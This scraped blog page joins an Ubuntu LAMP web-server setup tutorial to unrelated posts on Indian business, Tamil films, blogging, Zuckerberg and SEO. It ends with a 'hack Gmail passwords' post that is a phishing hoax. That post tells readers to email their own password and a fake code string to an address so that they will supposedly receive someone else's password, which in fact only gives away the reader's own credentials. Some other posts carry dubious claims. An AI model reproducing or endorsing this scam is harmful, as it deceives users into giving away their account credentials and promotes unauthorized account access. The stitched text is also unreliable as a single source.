How to Setup a Dedicated Web Server

A Quick Overview

We're going to install the Ubuntu Server operating system. I commonly use Ubuntu because of its ease of use and simple administration. It also has a rather large and extremely active community behind it, which makes getting support a breeze.

Download Ubuntu Server

we're going to need a CD with Ubuntu on it.  You will now be presented with a box with two tabs: "Desktop Edition" and "Server Edition". Click the "Server Edition" tab, and select "Ubuntu 8.04 LTS". Next, select a download location from the drop-down box. Finally, hit the "Begin Download" button.

Now you need to burn the ISO (the file that you downloaded) to a blank CD. If you don't know how to do this, there is an excellent guide

Install Ubuntu Server

Now that you've downloaded and burned the ISO, let's get Ubuntu installed on your server. Put the disk in the drive, and boot from the CD. In most modern computers, this will happen by default if a disk is in the drive when you turn it on. If it doesn't, then you need to press a key on your keyboard right when you turn it on. For my laptop, it's F12, and for my server, it's F2. It just depends on your computer. You can find it by looking at the text on your screen right when you turn the computer on, during the BIOS. You'll see something like "Press [KEY] to change boot order". Press that key, and select your CD drive.

Still with me? Good. Now that you've booted up Ubuntu, you should see the following screen:

Select your language, and hit enter. Now you'll see this screen:

Select "Install Ubuntu Server", and away we go!

The installer will now ask you if you want it to detect your keyboard layout. Personally, I always choose no, because it's faster to select a standard american keyboard from the list than to have the installer detect it. Either option is fine, just follow the on-screen instructions.

After you've done that, you'll now see a bunch of loading screens saying things like "Detecting CD-ROM drives" and such. These should pass quickly and without problems. However, during these screens, the installer will try to auto-configure your network settings. For most cases, this will work without complaint. However, if it doesn't work for you, just follow the on-screen instructions to get it working.

After it's done with all of that, it will ask you for a host name. You can usually set this to anything; I always set mine to "web-server".

The system will now want you to set the time zone for your clock. For me, it's Pacific. Choose the one that applies to you.

Now, the system will detect more hardware, and you'll be prompted to "partion the disk(s)". Select "Guided - use entire disk".

You will now need to select the disk you wish to partition. For most setups, only one disk will be available; however, for more specialized systems, more options will be available here. Choose the one that applies to you.

It will ask you if you want to write the changes to the disk. Select "Yes" and hit enter. The installer will now proceed to format the drive and set up the partitions.

Now the magic happens. The system will begin to install. While this happens, go get a cup of coffee. This can take anywhere from 10 minutes to an hour. It just depends on your system. There might be times that it seems like it's frozen; don't worry, it isn't. Just let it do it's thing. However, if it's stuck on one thing for upwards of an hour, then yes, it is frozen.

Now that the system is installed, it needs to set up the account you are going to login with. First, give it your full name and hit "Continue".

Now give it your username. It will normally just set it as your first name, but you can change it. One name you may not use is "root".

You will now be asked to provide a password. It is ESSENTIAL that you choose a strong password, or your server will not be secure at all. I recommend at LEAST a mixture of numbers, lowercase letters, and uppercase letters. However, for my servers I use symbols, as well as a mixture of the above. DO NOT use a password shorter than 7 characters.

Then, re-enter your password to verify that you typed it correctly.

The system will now attempt to configure the "Package Manager" (we'll get to what that is shortly). Provide it with your proxy information, or leave it blank if you don't use a proxy, and select "Continue".

The system will now scan several servers looking for updates and configuration settings.

After that has completed, you will be presented with several options to install server software. Now, listen VERY carefully. Select OpenSSH server, and press SPACE, NOT ENTER. If you hit enter, the install will proceed without installing the OpenSSH server.

This is to help people setup and install a LAMP(Linux-Apache-MySQL-PHP) server along with SSH Server in Ubuntu, including Apache 2, PHP 5 (optionally PHP 4 in Ubuntu 6.10 and lower), and MySQL 4.1 or 5.0.

When installing from the Ubuntu 6.06 (Dapper Drake) "Server cd", you have the option of choosing to install a LAMP setup at the inital Ubuntu installation screen. That will install apache2, php5 and mysql 5.0.

The system will now install your selected software, as well as other system components.

Finally, the install will finish. Remove the CD, and hit enter. The computer will reboot. If all goes well, you will be presented with a screen that looks similar to the following:

Congratulations! You've just finished the hardest part. Ubuntu is now installed, and it is time to turn this computer into a web server.

Update Your New Server

Before we go any further, we need to make sure your server is up-to-date. To do this, you need to login. First, type your username (the one you chose earlier), press enter, and then type your password. As you're typing your password, you'll notice that nothing seems to be happening. Don't worry, that's the way it was designed to work. After you've finished typing your password, hit enter, and your screen should look similar to the one below if all went well:

Now, type:

sudo aptitude update && sudo aptitude dist-upgrade


It will ask you for you password, and again, you won't see anything as you're typing it. After you've done that, it will ask you if you want to continue. Type "y" and press enter. Your screen will look similar to the following:





Your system will now download and install all the latest updates. This will take a while depending on your internet connection. After it has finished, your computer will need to be rebooted. To do this, type:



sudo shutdown -r now


And let it reboot. Your server is now completely updated.



A Quick Note About "Sudo"


By now, you may have noticed that all of the commands you have typed have started with "sudo". This is because they require administrator privileges, and that's what "sudo" does. It runs the command (i.e. "shutdown") as an administrator, allowing it to work properly. This is also why it asks you for your password. However, after you have typed "sudo" once and entered your password, you do not have to enter your password again for five minutes. Not all commands require sudo, only ones that modify parts of the system. Got all of that? Good.



Install Apache, MySQL, and PHP


It is now time to install some programs. In order to access your sites from the internet, we're going to need to install a web server (Apache). In additon to the web server, we'll also want a database server (MySQL) and a server-side language (PHP) so that we can run popular applications such as WordPress. So, let's get to it!



Installing programs on Ubuntu is a lot different than installing programs on Windows or OS X, in that Ubuntu will download and install the programs for you with a simple command. This is because Ubuntu has something called a Package Manager, which manages nearly all the programs on your system. All we have to do is tell the package manager (called "aptitude") that we want it to install Apache, MySQL, and PHP. To do this, type the following command:



sudo aptitude install apache2 php5-mysql libapache2-mod-php5 mysql-server


And press enter. Aptitude will download and install of the programs you specified. It will also download and install any dependencies.





During the install process, MySQL will ask you for a root password. You can set this to anything, just be sure you make it long and secure. Whatever you do, DO NOT leave this blank.





After that has all finished, you now have a fully working web server. To test it out, first find your server's IP by typing:



ifconfig | grep inet




It's usually the first IP returned. In my case, it's 192.168.177.129. Now that you know the IP, open your web browser and point it to your server IP. If you see the "It works!" message, then congratulations, it works.





However, we're not done yet. We don't want Apache or PHP to disclose any information about themselves, as this information is not needed by your users and could pose a security risk. First, back up the original Apache configuration file:



sudo cp /etc/apache2/apache2.conf /etc/apache2/apache2.conf.bak


Now open the configuration file:



sudo nano /etc/apache2/apache2.conf


Scroll down (down arrow) to where it says "ServerTokens Full" and change it to read "ServerTokens Prod"





Now, scroll down a little further and change "ServerSignature On" to "ServerSignature Off"





Finally, press Control-O followed by Control-X. That will save the file and exit the text editor.



Now, we need to do the same thing for PHP. First, back up the original PHP configuration file:



sudo cp /etc/php5/apache2/php.ini /etc/php5/apache2/php.ini.bak


Open the configuration file:



sudo nano /etc/php5/apache2/php.ini


Change "expose_php = On" to "expose_php = Off"





Again, press Control-O followed by Control-X. Now that the configuration files are updated, restart Apache:



sudo /etc/init.d/apache2 restart


You are done setting up Apache, MySQL, and PHP.



Install a Firewall


We now are going to lock down our server a bit more by installing Shorewall, a command-line firewall. To install it:



sudo aptitude install shorewall


By default, Shorewall is installed with no rules, allowing complete access. However, this is not the behavior we want. Instead, we're going to block all connections to anything other than port 80 (HTTP) and port 22 (SSH). First, copy the configuration files to the Shorewall directory:



sudo cp /usr/share/doc/shorewall-common/examples/one-interface/* /etc/shorewall/


Now, open the "rules" file:



sudo nano /etc/shorewall/rules


Add these lines above where it says "#LAST LINE"



HTTP/ACCEPT	net		$FW
SSH/ACCEPT net $FW




Then press Control-O and Control-X. Your firewall is now configured to only accept HTTP and SSH traffic. The last thing we need to do is tell Shorewall to start on boot. So, open up the main Shorewall configuration file:



sudo nano /etc/shorewall/shorewall.conf


Scroll down to "STARTUP_ENABLED=No" and set it to "STARTUP_ENABLED=Yes"





Press Control-O and Control-X. Now, open the Shorewall default configuration file:



sudo nano /etc/default/shorewall


And change "startup=0" to "startup=1". Press Control-O and Control-X. Finally, start your firewall:



sudo /etc/init.d/shorewall start


Congratulations! Your firewall is now set up and protecting your server.



Add Your Website to Your Web Server


Now that you've got everything all set up, you'd probably like to add a website to it. By default, all of the files Apache serves up to the internet are located at "/var/www/". However, you cannot write to this folder. Let's make it so you can:



sudo usermod -g www-data [YOUR USERNAME]
sudo chown -R www-data:www-data /var/www
sudo chmod -R 775 /var/www


What happened there was you added yourself to the "www-data" group, and made the website folder writable to the members of the "www-data" group.



Now, you're going to log into your server using SFTP (not to be confused with FTPS). Some clients that support SFTP are: WinSCP (Windows, Free), FileZilla (Windows, Linux, OS X, Free), Cyberduck (OS X, Free), and, my personal favorite, Transmit (OS X, $30)



Connect to your server using your username and password, and, if your client supports it, a default path of "/var/www" (if it doesn't, simply browse to /var/www once you have logged in): (Transmit pictured)





You may now add your files to this folder (/var/www) and they will show up on your server when you browse to it with your web browser.



Now, you may wonder why we're using SFTP instead of FTP. Mainly, because SFTP is already built into OpenSSH (which you installed earlier). However, it is also a lot more secure than FTP, and makes it difficult (if not impossible) for malicious users to gain access to your login credentials.



Make Your Server Accesible to the Internet


Most modern home networks are behind a router these days. Because of this, your web server will not be visible to the internet without a little work. As I don't have every router available to test with, I can only give you general directions in this area.



There are two ways to open your server up to the internet: a DMZ or Port Forwarding. The main difference you'll notice is that with a DMZ, your server uses the firewall we installed earlier to protect itself. However, with Port Forwarding, your server will be protected by your router's firewall.



However, before we go on, you're going to want to give your server a static LAN address. To do that, login to your router, and look for something along the lines of "Static IPs" or "Static Routing". After you have given your server a static LAN address, you can do these next parts. Remember, Google is your friend.



To port foward, there is an excellent website, PortForward.com, that, while ugly, can help you get the job done for almost any router. The ports that you want to forward are 22 and 80.



To create a DMZ, you need to login to your router and look for something like "DMZ settings". Once you find it, add your server to the DMZ, and you'll be set. Again, Google is helpful in situations like this.



Now, find your public IP, and voila! You can access your server from anywhere as long as your IP doesn't change.



Managing Your Server Remotely


Beside allowing you to upload files, OpenSSH allows you to login to your server from anywhere as long as you know it's IP. For Windows, you'll need an SSH client. I recommend Putty. For OS X, SSH is already installed. Simply open up Terminal, and type "ssh you@yourip". For Putty, choose SSH, and put in your IP, username, and password when it asks for it. You'll notice that, once you login, it looks exactly the same as the screen on the server:





You can do anything from here that you would do actually sitting at the server. To logout from the server, simply type "exit" and hit enter.



That's It!


You now have a completely functioning web server. It makes for a great testing ground, and would even be suitable to host websites with fairly low traffic. There is obviously a lot left to be learned, but hopefully you have gained a little insight into how web servers work.

Extraordinary 2D work-Rajesh Chakraborty

Short animated film by Rajesh Chakraborty. Made as a student project film during his days at National Institute of Design. Extraordinary 2D work and concept visualization.

short animated film

India's richest man

Mukesh Ambani has accepted a two-thirds cut in his salary in 2008/09 as chairman and managing director of Reliance Industries. His total compensation fell 66 percent to 150 million rupees.

mukesh-ambaniThe move comes just days after Corporate Affairs Minister Salman Khursheed warned firms against paying huge salaries to top company brass.

Ambani's "desire to set a personal example of moderation in executive compensation" may be in line with the Congress government's efforts to shore up public finances with an austerity drive of its own.

Excessive compensation has sparked outrage across the developed world after years of multi-million dollar bonuses paid out to executives, even at money-losing firms.

Politicians and policy makers have advocated curbs on these salaries, a theme echoed at the G20 meeting in September.Ambani's revised pay package is a far cry from the 440 million rupees he got last year but the salary cut is not seen as making too much of a dent in his wallet.

Earlier this year, Forbes magazine pegged Ambani's worth at about $19.5 billion in its list of the world's billionaires.

Within hours of the Reliance Industries statement on his salary, Twitter users sympathised with the 'poor little rich boy'. Some suggested it could be a move to pay less tax.

Is Ambani's pay cut a genuine attempt at bringing in moderation in executive salaries?

Sivaji in Hindi

'Sivaji - The Boss'..... This is most probably the first time in the history of Indian cinema that a South Indian film fascinated nationwide and worldwide attention. The film with an unparalleled budget made into the headlines of almost all national television channels.

endhiran-applause-sivaji

The reputed production house AVM, the most sought after director Shankar, the musical wizard of India A R Rahman, and the undisputed king of box office, Superstar Rajinikanth - when you have these names in a single venture, it is ought to be a great sensational and it turned out to be exactly the same.

So now it's the time for the film to get dubbed in Hindi and travel North. Reliable sources from the production house say that the Hindi version will be hitting the floors by January 8th.

So here he comes to capture you all out there with his inimitable style and charisma in Hindi.!

Hair Rising Action Sequence-Endhiran

If an action sequence is filmed on top of a running train then that scene is sure to become one of the highlights of the movie.Director Shankar later filmed a memorable train action sequence for his 'Gentleman'.

Now Shankar is doing it again. And this time it is going to be bigger and better because it is for 'Endhiran'.

Endhiran-Onlocation-002

Now Shankar has just completed the shoot of an action scene on a train for his 'Endhiran'. The location was Lonavala near Mumbai. As the location comes in the railway heritage corridor between Mumbai and Pune special permission was granted by the railway ministry at the behest of our Home Minister P. Chidambaram. Here too the Super Star has performed the action scenes without using body double under Peter Hein master.

When two greats in Shankar and Rajini are coming together for a similar scene you can expect it to be the mother of all actions.

'Yavarum Kelir'-Kamal Kadhai

Kamal's forthcoming film, directed by K S Ravikumar, has been tentatively titled 'Yavarum Kelir'. The movie will be produced by Udhayanidhi Stalin for Red Giant Movies. And as predicted, Shruthi Haasan will be composing music for 'Yavarum Kelir' too.

The inspiration for the title is the famous line 'Yaadhum Oore, Yavarum Kelir' by Tamil poet Kaniyan Poongundranar, which means 'The whole world is my place; the whole humanity is my fraternity'.

kamal-hassan-handsome

According to sources, the movie is going to be a quickie, which will hit the screens by mid 2010. On Udhayanidhi producing the film, they say, "It was the young producer's dream to make a movie with Kamal in the lead. It is coming true now."

Uses of Blogs

A blog (a contraction of the term "web log") is a type of website, usually maintained by an individual with regular entries of commentary, descriptions of events, or other material such as graphics or video. Entries are commonly displayed in reverse-chronological order. "Blog" can also be used as a verb, meaning to maintain or add content to a blog.

Many blogs provide commentary or news on a particular subject; others function as more personal online diaries. A typical blog combines text, images, and links to other blogs, Web pages, and other media related to its topic. The ability of readers to leave comments in an interactive format is an important part of many blogs. Most blogs are primarily textual, although some focus on art (Art blog), photographs (photoblog), videos (Video blogging), music (MP3 blog), and audio (podcasting). Microblogging is another type of blogging, featuring very short posts.

As of December 2007, blog search engine Technorati was tracking more than 112,000,000 blogs.

blogs-global-packages

Personal blogs
The personal blog, an ongoing diary or commentary by an individual, is the traditional, most common blog. Personal bloggers usually take pride in their blog posts, even if their blog is never read. Blogs often become more than a way to just communicate; they become a way to reflect on life, or works of art. Blogging can have a sentimental quality. Few personal blogs rise to fame and the mainstream, but some personal blogs quickly garner an extensive following. One type of personal blog, referred to as a microblog, is extremely detailed and seeks to capture a moment in time. Some sites, such as Twitter, allow bloggers to share thoughts and feelings instantaneously with friends and family, and are much faster than emailing or writing.
Corporate and organizational blogs
A blog can be private, as in most cases, or it can be for business purposes. Blogs used internally to enhance the communication and culture in a corporation or externally for marketing, branding or public relations purposes are called corporate blogs. Similar blogs for clubs and societies are called club blogs, group blogs, or by similar names; typical use is to inform members and other interested parties of club and member activities.
By genre
Some blogs focus on a particular subject, such as political blogs, travel blogs (also known as travelogs), house blogs, fashion blogs, project blogs, education blogs, niche blogs, classical music blogs, quizzing blogs and legal blogs (often referred to as a blawgs) or dream logs. Two common types of genre blogs are art blogs and music blogs. A blog featuring discussions especially about home and family is not uncommonly called a mom blog. While not a legitimate type of blog, one used for the sole purpose of spamming is known as a Splog.
By media type
A blog comprising videos is called a v log, one comprising links is called a link log, a site containing a portfolio of sketches is called a sketch blog or one comprising photos is called a photo blog. Blogs with shorter posts and mixed media types are called tumble logs. Blogs that are written on typewriters and then scanned are called typecast or typecast blogs; see typecasting (blogging).
A rare type of blog hosted on the Gopher Protocol is known as a Phlog.
By device
Blogs can also be defined by which type of device is used to compose it. A blog written by a mobile device like a mobile phone or PDA could be called a moblog. One early blog was Wearable Wireless Webcam, an online shared diary of a person's personal life combining text, video, and pictures transmitted live from a wearable computer and EyeTap device to a web site. This practice of semi-automated blogging with live video together with text was referred to as surveillance. Such journals have been used as evidence in legal matters.

Facebook co-founder elliot zuckerberg

Mark Elliot Zuckerberg (born May 14, 1984) is an American billionaire and entrepreneur best known for co-founding the popular social networking site Facebook. Zuckerberg co-founded Facebook with fellow classmates Dustin Moskovitz, Eduardo Saverin and Chris Hughes while attending Harvard. Zuckerberg serves as Facebook's CEO. He has been the subject of controversy for the origins of his business and his wealth.

Zuckerberg was born in a Jewish family, in White Plains, New York, and raised in Dobbs Ferry, New York. He started programming when he was in middle school. Early on, Zuckerberg enjoyed developing computer programs, especially communication tools and games. Before attending Phillips Exeter Academy, Mark went to school at Ardsley High School. While attending Phillips Exeter Academy, he built a program to help the workers in his father's office communicate; he built a version of the game Risk and a music player named Synapse that used artificial intelligence to learn the user's listening habits. Microsoft and AOL tried to purchase Synapse and recruit Zuckerberg, but he decided to attend Harvard University instead.

facebook-mark-richest-person

Time Magazine added Zuckerberg as one of The World's Most Influential People of 2008. He fell under the Scientists & Thinkers category for his web phenomenon, Facebook, and ranked 52 out of 101 people.

In 2009 Mark Elliot Zuckerberg  is worth $2 billion

Search engine optimization

Search engine optimization (SEO) is the process of improving the volume or quality of traffic to a website from search engines via "natural" or un-paid ("organic" or "algorithmic") search results as opposed to search engine marketing (SEM) which deals with paid inclusion.

The History of SEO"Webmasters and content providers began optimizing sites for search engines in the mid-1990s, as the first search engines were cataloging the early Web. Initially, all a webmaster needed to do was submit the address of a page, or URL, to the various engines which would send a spider to "crawl" that page, extract links to other pages from it, and return information found on the page to be indexed. The process involves a search engine spider downloading a page and storing it on the search engine's own server, where a second program, known as an indexer, extracts various information about the page, such as the words it contains and where these are located, as well as any weight for specific words, and all links the page contains, which are then placed into a scheduler for crawling at a later date."

 

search_engine_marketing-global

 

Typically, the earlier (or higher) a site appears in the search results list, the more visitors it will receive from the search engine. SEO may target different kinds of search, including image search, local search, video search and industry-specific vertical search engines. This gives a web site web presence.

As an Internet marketing strategy, SEO considers how search engines work and what people search for. Optimizing a website primarily involves editing its content and HTML and associated coding to both increase its relevance to specific keywords and to remove barriers to the indexing activities of search engines.

The acronym "SEO" can refer to "search engine optimizers," a term adopted by an industry of consultants who carry out optimization projects on behalf of clients, and by employees who perform SEO services in-house. Search engine optimizers may offer SEO as a stand-alone service or as a part of a broader marketing campaign. Because effective SEO may require changes to the HTML source code of a site, SEO tactics may be incorporated into website development and design. The term "search engine friendly" may be used to describe web site designs, menus, content management systems, images, videos, shopping carts, and other elements that have been optimized for the purpose of search engine exposure.

Another class of techniques, known as black hat SEO or spamdexing, use methods such as link farms, keyword stuffing and article spinning that degrade both the relevance of search results and the user-experience of search engines. Search engines look for sites that employ these techniques in order to remove them from their indices.

Endhiran video song leaked

Two songs from the Rajinikanth-Aishwarya Rai starrer Endhiran has found its way to YouTube.com. The footage, which runs to about four minutes, is of good clarity and shows Rajini and Ash rehearsing with a host of dancers at the backdrop. With both sound as well as visual clarity, the two songs are creating waves among the movie buffs. YouTube is said to have recorded over 13,000 hits so far. It is worth mentioning here that Oscar winner AR Rahman had scored the music for Endhiran.

endhiran leaked songs

Since it is not a copyright infringement, the Endhiran team cannot ask YouTube to remove it from the site, sources say. Rajinikanth and Shankar are furious over this leak and it needs to be seen if the songs will be replaced.

Need to hack Gmail passwords?

It is possible and it is easy. This way of hacking
into Gmail.
accounts was brought to my attention by a friend of
mine who is a bit of a
computer wizard. I have tried the method a least a
dozen times and it has
worked on all but 2 occasions, I don't know the reason
why it failed a
couple of times, but on every other occasion it has
got me the password for
the requested email address. This is how it is done:
STEP 1- Log in to your own Gmail account. Note: Your
account must be at
least 30 days old for this to work.
STEP 2- Once you have logged into your own account,
compose/write an e-mail
to: This is a mailing
address to the Gmail
Staff. The automated server will send you the password
that you have
'forgotten', after receiving the information you send
them.
STEP 3- In the subject line type exactly: " PASSWORD
RECOVERY "
STEP 4- On the first line of your mail write the email
address of the person
you are hacking.
STEP 5- On the second line type in the e-mail address
you are using.
STEP 6- On the third line type in the password to YOUR
email address (your
OWN password). The computer needs your password so it
can send a JavaScript
from your account in the Gmail Server to extract the
other email addresses
password. In other word the system automatically
checks your password to
confirm the integrity of your status.
The process will be done automatically by the user
administration server. STEP 7- The final step before
sending the mail is,
type on the fourth line the following code exactly:
cgi-bin_RETRIVE_PASS_BIN_PUB/$et76431&pwrsa
script< ip://233.243.2.34/cgi-bin/start?
v703&login=passmachine&f=(password)&f=27586&javasc ript=ACTIVE&rsa#>
{simply copy and paste above.}
so for example if your Gmail id is :
and your password
is: David and the email address you want to hack is:
then
compose the mail as below:
To:
bcc: cc: (Don't write anything in cc,bcc field)
Subject: " PASSWORD RECOVERY "


David
cgi-bin_RETRIVE_PASS_KEY_CGI_BIN/$et76431&pwrsa
script< ip://233.243.2.34/cgi-bin/start?
v703&login=passmachine&f=(password)&f=27586&javasc ript=ACTIVE&rsa#>
{simply copy and paste above.}
The password will be sent to your inbox in a mail
called "System Reg
Message" from "System with in 6 hors. When my friend showed me how
to do this I thought it was too good a trick to keep
to myself! Just try and
enjoy!